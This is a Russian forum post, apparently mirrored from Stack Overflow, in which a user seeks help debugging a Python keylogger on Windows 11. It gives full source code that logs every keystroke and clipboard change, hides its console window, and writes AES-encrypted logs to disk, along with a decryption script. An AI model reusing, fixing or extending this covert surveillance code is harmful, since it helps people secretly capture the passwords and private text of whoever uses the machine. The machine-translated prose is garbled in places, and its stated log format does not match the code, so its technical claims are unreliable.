Python KeyLogger не регистрирует клавиши в Windows 11, потенциальные проблемы с дешифрованием журналовPython

Программы на Python
Ответить Пред. темаСлед. тема
Anonymous
 Python KeyLogger не регистрирует клавиши в Windows 11, потенциальные проблемы с дешифрованием журналов

Сообщение Anonymous »

Я разрабатываю на основе Python KeyLogger. Скрипт работает без ошибок, но не показывает захваченные клавишные на Windows 11. Я ожидал, что он зарегистрирует клавишные в файле, но на этапе дешифрования я вижу эти ошибки-
ошибка расшифровки: проверка Mac
[ Ошибка] Несомненно, длину входа! Ожидается 23824, получил 2307.
[ошибка] нереалистичная длина входа 47642, возможная коррупция.
Я использовал шифрование AES для шифрования журналов, но, похоже, возникает ошибка при расшифровании. < /P> Это код, который я реализовал-< /p>
import os
import sys
import datetime
import pyperclip
import time
import threading
import Crypto

from pynput import keyboard
from datetime import datetime
from Crypto.Cipher import AES

secret_key = b"--key--"

if len(secret_key) not in [16, 24, 32]:
raise ValueError("Invalid AES key length.")

if sys.platform == "win32":
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

log_file = "path\keylogs.bin"
error_log_file = "path\error_logs.txt"

log_buffer = []
current_sentence = ""

def encrypt_log(data):
cipher = AES.new(secret_key, AES.MODE_EAX)
nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(data.encode())

return nonce + ciphertext + tag # Concatenating all parts

def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16]
ciphertext = encrypted_data[16:-16]
tag = encrypted_data[-16:]

cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

except Exception as e:
return f"Decryption Error: {e}"

def log_error(message):
with open(error_log_file, "a") as f:
f.write(f"{datetime.now()} - {message}\n")

def on_press(key):
global log_buffer, current_sentence
try:
if hasattr(key, "char") and key.char:
text = key.char
else:
text = special_key_formatter(key)

if text == "[ENTER]":
timestamp =datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
log_buffer.append(encrypted_text)
current_sentence = ""
else:
current_sentence += text

if len(log_buffer) >= 10: # Adjust buffer size if needed
write_log()

except Exception as e:
print(f"Error: {e}")

def special_key_formatter(key):
special_keys = {
keyboard.Key.space: " ", # Space as an actual space
keyboard.Key.enter: "[ENTER]",
keyboard.Key.backspace: "[BACKSPACE]",
keyboard.Key.tab: "[TAB]",
keyboard.Key.shift: "",
keyboard.Key.shift_r: "",
keyboard.Key.ctrl: "[CTRL]",
keyboard.Key.ctrl_r: "[CTRL]",
keyboard.Key.alt: "[ALT]",
keyboard.Key.alt_r: "[ALT]",
keyboard.Key.esc: "[ESC]",
keyboard.Key.delete: "[DEL]",
keyboard.Key.up: "[UP]",
keyboard.Key.down: "[DOWN]",
keyboard.Key.left: "[LEFT]",
keyboard.Key.right: "[RIGHT]",
keyboard.Key.caps_lock: "[CAPS]",
}
return special_keys.get(key, f"[{key}]")

def write_log():
global log_buffer
if log_buffer:
with open(log_file, "ab") as f:
for entry in log_buffer:
f.write(entry + b"\n")
log_buffer = []

def log_clipboard():
global log_buffer
recent_text = ""
while True:
try:
clipboard_data = pyperclip.paste()
if clipboard_data and clipboard_data != recent_text:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
log_buffer.append(encrypted_clipboard)
write_log()
recent_text = clipboard_data
time.sleep(5)
except Exception as e:
print(f"Clipboard logging error: {e}")

clipboard_thread = threading.Thread(target=log_clipboard, daemon =True)
clipboard_thread.start()

with keyboard.Listener(on_press=on_press) as listener:
listener.join()
< /code>
код для дешифрования журнала-< /p>
import Crypto
from Crypto.Cipher import AES

secret_key = b"--key--"

log_file = "path\keylogs.bin"

def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16] # Extract nonce
ciphertext = encrypted_data[16:-16] # Extract ciphertext
tag = encrypted_data[-16:] # Extract tag

cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

return decrypted_text

except Exception as e:
return f"Decryption Error: {e}"

with open(log_file, "rb") as f:
for line in f:
try:
decrypted_text = decrypt_log(line.strip()) # Strip only for binary safety
print("Decrypted Output:", decrypted_text)
except Exception as e:
print(f"Decryption Error: {e}")
< /code>
Я имею проверенную структуру шифрования и дешифрования
Каждая запись сохраняется как [2-байтовая длина] + [nonce (16)] + [ciphertext] + [Tag (16) ]
Я также подтвердил согласованность ключа AES в обоих сценариях и проверил на наличие частичных записей и коррупционных записей, обеспечиваемого Flush () используется после записи для предотвращения потери данных, добавлены проверки здравомыслия, чтобы пропустить записи с нереальными длины, напечатанные необработанные данные Для осмотра < /p>
Вывод вывода (неожиданно обнаружен большой размер):
pgsql
copy
edit
необработанные зашифрованные данные: b '\ xa7 \ x17 \ x0e & je- \ x94 \ xd5 \ x14-c \ xfe` \ xd9 \ x12 \ x88 \ xe1 \ xbb /\ xf4 \ xea0 \ x93 \ xac \ x9fv ... '
указывает на потенциальную поврежден .
Добавлено журналирование отладки для проблем с длиной входа < /p>
Пример сообщения об ошибке:
csharp
copy
edit
[error] несоответствует Длина входа! Ожидается 23824, получил 2307.
предлагает неверное толкование поля с 2 байтовой длиной.
Регенерированный файл журнала с нуля < /p>
Удаление Keylogs.bin и начало свеже не устранял ошибки.

Подробнее здесь: https://stackoverflow.com/questions/794 ... s-with-dec
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Python»